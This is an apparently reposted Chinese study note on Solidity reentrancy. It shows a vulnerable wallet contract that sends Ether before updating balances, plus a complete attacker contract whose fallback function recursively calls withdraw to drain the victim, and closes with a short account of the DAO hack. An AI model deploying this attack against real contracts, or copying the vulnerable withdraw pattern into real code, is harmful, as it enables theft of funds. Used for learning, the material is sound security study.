【智能合约系列006-重入攻击(Reentrancy attack)】

solidity漏洞类型学习笔记(一)

以下代码内容皆参考于RICKGRAY师傅之前的文章《以太坊智能合约安全入门了解一下》,在此记录我在复现中发现的一些问题和学习记录。

Reentrancy - 重入

首先我们先参考代码实现一个类似公共钱包的代码,

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

pragma solidity ^0.4.19;

contract IDMoney{

    address _owner;

    mapping (address => uint256) balances;

     

    function IDMoney() {

        _owner = msg.sender; //构造函数中的msg.sender只能是创建者 

    }

    function deposit() public payable {

        balances[msg.sender] += msg.value;

    }

    function withdraw(address to, uint256 amount) public payable {

        require(balances[msg.sender] >= amount); //公共钱包中调用者的余额是否足够

        require(this.balance >= amount); //该合约资产是否足够

         

        to.call.value(amount*10**18)(); //此处amount单位是wei,这里我换算成ether

        balances[msg.sender] -= amount*10**18; 

    }

    function balanceof(address to) constant returns(uint256){

        return balances[to];

    }

}

balances定义了一个下标为[address]的公共钱包,deposit函数向钱包中调用者的位置存入相应的value值,withdraw函数检查提币账户的余额与该合约资产是否大于参数amount,之后向to地址发送相应Ether。

部署成功后我们调用deposit函数向钱包中存入25ether,可在balanceof处输入"0xca3...a733c"的地址查看钱包中该地址的余额是否为25*10^18wei。随后我们将这个钱包中的余额转给另一个外部用户:

此时的调用者依然是"0xca3...",拷贝第二个外部账户的地址"0x147..."。输入参数"0x147...",25调用withdraw()函数,成功转账。

这里存在着一个问题:当外部账户或其他合约向一个合约地址发送ether时,会执行该合约的fallback函数(当调用合约时没有匹配到函数,也会调用没有名字的fallback函数——The DAO)。且call.value()会将所有可用Gas给予外部调用(fallback函数),若在fallback函数中再调用withdraw函数,则会导致递归问题。攻击者可以部署一个恶意递归的合约将公共钱包这个合约账户里的Ether全部提出来。【1、call.value()提供了足够的Gas  2、资产的修改在转币之后】

Solidity 中 <address>.transfer(),<address>.send() 和 <address>.gas().call.vale()() 都可以用于向某一地址发送 ether,他们的区别在于:

 <address>.transfer()

 * 当发送失败时会 throw; 回滚状态

 * 只会传递 2300 Gas 供调用,防止重入(reentrancy) 

<address>.send()

 * 当发送失败时会返回 false 布尔值

 * 只会传递 2300 Gas 供调用,防止重入(reentrancy)

<address>.gas().call.value()() 

* 当发送失败时会返回 false 布尔值 

* 传递所有可用 Gas 进行调用(可通过 gas(gas_value) 进行限制),不能有效防止重入(reentrancy)

 

以下是rickgray师傅实现的攻击代码,有小修改,攻击流程在他的博客中也有GIF。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

pragma solidity ^0.4.19;

contract IDMoney{

    address _owner;

    mapping (address => uint256) balances;

     

    function IDMoney() {

        _owner = msg.sender; 

    }

    function deposit() public payable {

        balances[msg.sender] += msg.value;

    }

    function withdraw(address to, uint256 amount) public payable {

        require(balances[msg.sender] >= amount);

        require(this.balance >= amount);

         

        to.call.value(amount)();

        balances[msg.sender] -= amount;

    }

    function balanceof(address to) constant returns(uint256){

        return balances[to];

    }

}

contract Attack {

    address owner;

    address victim;

    modifier ownerOnly { require(owner == msg.sender); _; }

     

    function Attack() payable { owner = msg.sender; }

     

    // 设置已部署的 IDMoney 合约实例地址

    function setVictim(address target) ownerOnly { victim = target; }

     

    // deposit Ether to IDMoney deployed

    function step1(uint256 amount) ownerOnly payable {

        if (this.balance > amount) {

            victim.call.value(amount)(bytes4(keccak256("deposit()")));

        }

    }

    // withdraw Ether from IDMoney deployed

    function step2(uint256 amount) ownerOnly {

        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);

    }

    // selfdestruct, send all balance to owner

    function stopAttack() ownerOnly {

        selfdestruct(owner);

    }

    function startAttack(uint256 amount) ownerOnly {

        step1(amount);

        step2(amount / 2);

    }

    function () payable {

        if (msg.sender == victim) {

            // 再次尝试调用 IDMoney 的 withdraw 函数,递归转币

            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);

        }

    }

}

可能是Remix的原因我在一开始复现时就是不成功,后来查原因之后在输入参数处加上引号即可。

The DAO:

第一处红线向攻击者账户转钱,第二处withdrawRewardFor函数:

在payout中调用攻击者_recipient,但没有指定具体函数则调用fallback函数,在fallback函数中会再次调用splitDAO函数,实现恶意递归。在方框中的修改余额代码执行之前,就完成了偷钱操作。

转自:https://bbs.pediy.com/thread-228422.htm

猜你喜欢

转载自blog.csdn.net/linshenyuan1213/article/details/86074320